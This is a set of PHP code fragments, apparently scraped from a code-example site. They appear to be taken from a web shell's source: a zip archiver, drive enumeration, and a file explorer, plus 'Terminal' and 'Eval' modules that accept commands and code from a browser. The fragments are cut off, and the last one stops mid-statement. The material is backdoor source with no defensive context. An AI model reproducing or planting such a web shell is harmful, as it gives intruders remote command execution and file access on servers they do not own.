Example #1
0
function zip($files, $archive)
{
    if (!extension_loaded('zip')) {
        return false;
    }
    $zip = new ZipArchive();
    if (!$zip->open($archive, 1)) {
        return false;
    }
    if (!is_array($files)) {
        $files = array($files);
    }
    foreach ($files as $file) {
        $file = str_replace(get_cwd(), '', $file);
        $file = str_replace('\\', '/', $file);
        if (is_dir($file)) {
            $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
            foreach ($filesIterator as $iterator) {
                $iterator = str_replace('\\', '/', $iterator);
                if (in_array(substr($iterator, strrpos($iterator, '/') + 1), array('.', '..'))) {
                    continue;
                }
                if (is_dir($iterator)) {
                    $zip->addEmptyDir(str_replace($file . '/', '', $iterator . '/'));
                } else {
                    if (is_file($iterator)) {
                        $zip->addFromString(str_replace($file . '/', '', $iterator), read_file($iterator));
                    }
                }
            }
        } elseif (is_file($file)) {
            $zip->addFromString(basename($file), read_file($file));
        }
    }
    if ($zip->getStatusString() !== false) {
        return true;
    }
    $zip->close();
}
 function get_drives()
 {
     $drives = "";
     $v = explode("\\", get_cwd());
     $v = $v[0];
     foreach (range("A", "Z") as $letter) {
         if (@is_readable($letter . ":\\")) {
             $drives .= "<a class='navbar' data-path='" . $letter . ":\\'>[ ";
             if ($letter . ":" != $v) {
                 $drives .= $letter;
             } else {
                 $drives .= "<span class='drive-letter'>" . $letter . "</span>";
             }
             $drives .= " ]</a> ";
         }
     }
     return $drives;
 }
Example #3
0
        chdir($path);
        $nav = get_nav($path);
        $cwd = html_safe($path);
        $explorer_content = show_all_files($path);
    }
} else {
    $explorer_content = show_all_files(get_cwd());
}
$GLOBALS['module']['explorer']['id'] = "explorer";
$GLOBALS['module']['explorer']['title'] = "Explorer";
$GLOBALS['module']['explorer']['js_ontabselected'] = "";
$GLOBALS['module']['explorer']['content'] = $explorer_content;
$GLOBALS['module']['terminal']['id'] = "terminal";
$GLOBALS['module']['terminal']['title'] = "Terminal";
$GLOBALS['module']['terminal']['js_ontabselected'] = "\nif((!portableMode) && (\$('#terminalOutput').html()=='')) \$('#terminalInput').focus();";
$GLOBALS['module']['terminal']['content'] = "<pre id='terminalOutput'></pre><table id='terminalPrompt'><tr><td class='colFit'><span id='terminalCwd' class='strong'>" . get_cwd() . "&gt;</span</td><td id='terminalCommand'><input type='text' id='terminalInput' class='floatLeft' spellcheck='false'></td></tr></table>";
$GLOBALS['module']['eval']['id'] = "eval";
$GLOBALS['module']['eval']['title'] = "Eval";
$GLOBALS['module']['eval']['js_ontabselected'] = "\nif((!portableMode) && (\$('#evalOutput').html()=='You can also press ctrl+enter to submit')) \$('#evalInput').focus();";
$GLOBALS['module']['eval']['content'] = "\n<table class='boxtbl'>\n<thead>\n\t<tr><th colspan='4'><p class='boxtitle'>Eval</p></th></tr>\n</thead>\n<tbody>\n\t<tr><td colspan='4'><textarea id='evalInput' spellcheck='false' style='height:140px;min-height:140px;'></textarea></td></tr>\n\t\n\t<tr id='evalAdditional'><td colspan='4'>\n\t\t<input type='text' id='evalOptions' value='Options/Switches' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">\n\t\t<input type='text' id='evalArguments' value='Arguments' spellcheck='false' onkeydown=\"trap_enter(event, 'eval_go');\">\n\t</td></tr>\n\t\n\t<tr>\n\t\t<td style='width:144px;'>\n\t\t\t<select id='evalType'>\n\t\t\t\t\n\t\t\t</select>\n\t\t</td>\n\t\t<td colspan='3'>\n\t\t\t<span id='evalSubmit' style='width:120px;' class='button' onclick=\"eval_go();\">run</span>\t\n\t\t</td>\n\t</tr>\n\t\n\t<tr><td colspan='4'><pre id='evalOutput'>You can also press ctrl+enter to submit</pre></td</tr>\n</tbody>\n</table>\n";
$res = "";
if (isset($p['cd'])) {
    $path = $p['cd'];
    if (trim($path) == '') {
        $path = dirname(__FILE__);
    }
    $path = realpath($path);
    if (is_file($path)) {
        $path = dirname($path);
    }
    if (is_dir($path)) {